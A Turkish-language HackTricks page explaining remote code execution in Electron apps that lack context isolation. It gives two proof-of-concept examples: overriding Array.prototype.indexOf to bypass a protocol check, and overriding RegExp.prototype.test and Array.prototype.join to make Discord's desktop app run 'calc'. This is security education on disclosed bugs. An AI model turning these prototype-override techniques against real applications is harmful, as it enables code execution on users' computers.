Electron contextIsolation RCE via preload code

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!

  • [The PEASS Family]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [NFT'lerimiz]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu

  • Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**

  • Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

Örnek 1

Örnek https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30 adresinden alınmıştır.

Bu kod, http(s) bağlantılarını varsayılan tarayıcıda açar:

file:///C:/Windows/systemd32/calc.exe gibi bir şey, bir hesap makinesini çalıştırmak için kullanılabilir, ancak SAFE_PROTOCOLS.indexOf bunu engelliyor.

Bu nedenle, bir saldırgan bu JS kodunu XSS veya keyfi sayfa gezintisi yoluyla enjekte edebilir:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Yapılan SAFE_PROTOCOLS.indexOf çağrısı her zaman 1337 döndüreceğinden, saldırgan korumayı atlayabilir ve hesap makinesini çalıştırabilir. Son saldırı:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Diğer izin istemeyen programları çalıştırmak için diğer yolları kontrol edin.

Görünüşe göre kod yükleme ve çalıştırma başka bir yol da file://127.0.0.1/electron/rce.jar gibi bir şeye erişmektir.

Örnek 2: Discord Uygulaması Uzaktan Kod Çalıştırma (RCE)

Örnek https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1 adresinden alınmıştır.

Preload betiklerini kontrol ettiğimde, Discord'un web sayfasına DiscordNative.nativeModules.requireModule('MODULE-NAME') aracılığıyla bazı izin verilen modüllere erişime izin veren bir işlevi açığa çıkardığını buldum. Burada, doğrudan RCE için kullanılabilecek modülleri kullanamadım, örneğin child_process modülü gibi, ancak JavaScript yerleşik yöntemlerinin üzerine yazılarak ve açığa çıkarılan modülün yürütmesine müdahale edilerek RCE'nin elde edilebileceği bir kod buldum.

Aşağıdaki PoC'dir. DevTools'dan "discord_utils" adlı modülde tanımlanan getGPUDriverVersions işlevini çağırırken RegExp.prototype.test ve Array.prototype.join yöntemlerini geçersiz kılarak RCE'nin gerçekleştirilebildiğini doğrulayabildim.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions işlevi, aşağıdaki gibi "execa" kitaplığını kullanarak programı çalıştırmaya çalışır:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Genellikle execa, nvidiaSmiPath değişkeninde belirtilen "nvidia-smi.exe"'yi çalıştırmaya çalışır, ancak üzerine yazılmış RegExp.prototype.test ve Array.prototype.join nedeniyle argüman, _execa'nın iç işleme**sinde "calc" olarak değiştirilir.

Özellikle, argüman aşağıdaki iki kısım değiştirilerek değiştirilir.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated